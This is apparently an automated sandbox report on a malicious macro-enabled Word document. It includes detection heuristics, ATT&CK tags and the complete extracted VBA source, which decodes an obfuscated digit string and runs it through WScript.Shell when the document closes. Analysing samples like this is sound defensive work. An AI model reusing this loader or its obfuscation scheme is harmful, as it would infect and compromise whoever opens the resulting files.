MALICIOUS
184
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious OOXML document containing VBA macros. The 'macros.bas' script utilizes functions like 'fegato' and 'periodo' to construct and execute a command, likely downloading and running a secondary payload. The 'CreateObject' call and the presence of VBA macros strongly indicate malicious intent, aligning with a spearphishing attachment attack vector.
Heuristics 5
-
ClamAV: Doc.Malware.Valyria-8008733-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-8008733-0
-
VBA project inside OOXML medium 1 related finding OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2603 bytes |
SHA-256: 8466aa188de01f1d456f883fb474b9540522ac251e1082b5224790408e47caa7 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function alberato(mattone, signore)
If mattone >= 0 And signore >= 0 Then
alberato = mattone + signore
End If
End Function
Function fegato()
fegato = Trim(StrReverse("tpircsw") & Replace("SShell", "SS", ".S"))
End Function
Public Function periodo(sempre As String)
If Len(sempre) < 2126 Then
Call CreateObject(Application.Run("fegato")).Run(sempre, (2126 - 2126))
End If
End Function
Sub Document_Close()
feralo = onta("12293419391037193333253127294016145025314016193625174712441010253111292626444202252227193431280900193650252047105019264927195049211909113314194250054907293442332944024514331922043750501243181846293942143344421441104442472644424750392942493629261820201850194219104710493308260406253019423543152424071501152523250438121209122749191619040532252050443950312439293619101025301942354315242407150115043812120912274919161904322522271934312809001936502520471050192649271950492119091133141942500549072934423329440220503914420322043750501243181846293942143344421441104442472644424750392942493629261810491237124814021350194219104710040532")
Call Application.Run("periodo", feralo)
End Sub
Function onta(riserva)
acre = opposto(riserva)
dote = Trim(vbNullString) & vbNullString
prenotare = Len("c")
For fascia = 0 To Len(riserva)
If (alberato(fascia, prenotare)) <= UBound(acre) Then
etnico = acre(alberato(fascia, prenotare))
pargolo = CInt(acre(fascia) & etnico)
dote = dote & bifido(pargolo)
fascia = alberato(fascia, prenotare)
End If
Next
onta = dote
End Function
Function opposto(garzone)
porpora = StrConv(garzone, vbUnicode)
gabbiano = Left(porpora, Len(porpora) - 1)
opposto = Split(gabbiano, vbNullChar)
End Function
Public Function bifido(ByVal condurre As Integer) As String
baule = Array("j", "T", "d", "g", "'", ")", ",", "D", "z", "b", "s", "C", "p", "=", "i", "A", "x", "B", "/", "e", "S", "W", "(", "+", "P", " ", "m", "N", "O", "o", "$", "-", ";", "l", "w", "v", "c", "h", "\", "r", "E", "u", "n", ":", "a", "F", "k", "y", "?", ".", "t")
favoloso = baule
Dim fascia As Integer
For fascia = 0 To UBound(favoloso)
If fascia = condurre Then
bifido = Replace(Replace(favoloso(fascia), "[", ""), "]", "")
End If
Next
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 12800 bytes |
SHA-256: 13990fc2266499c9e6062843f28c635d64a086134b4d71a738b4d023d08fecc3 |
|||
|
Detection
ClamAV:
Doc.Malware.Valyria-8008733-0
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.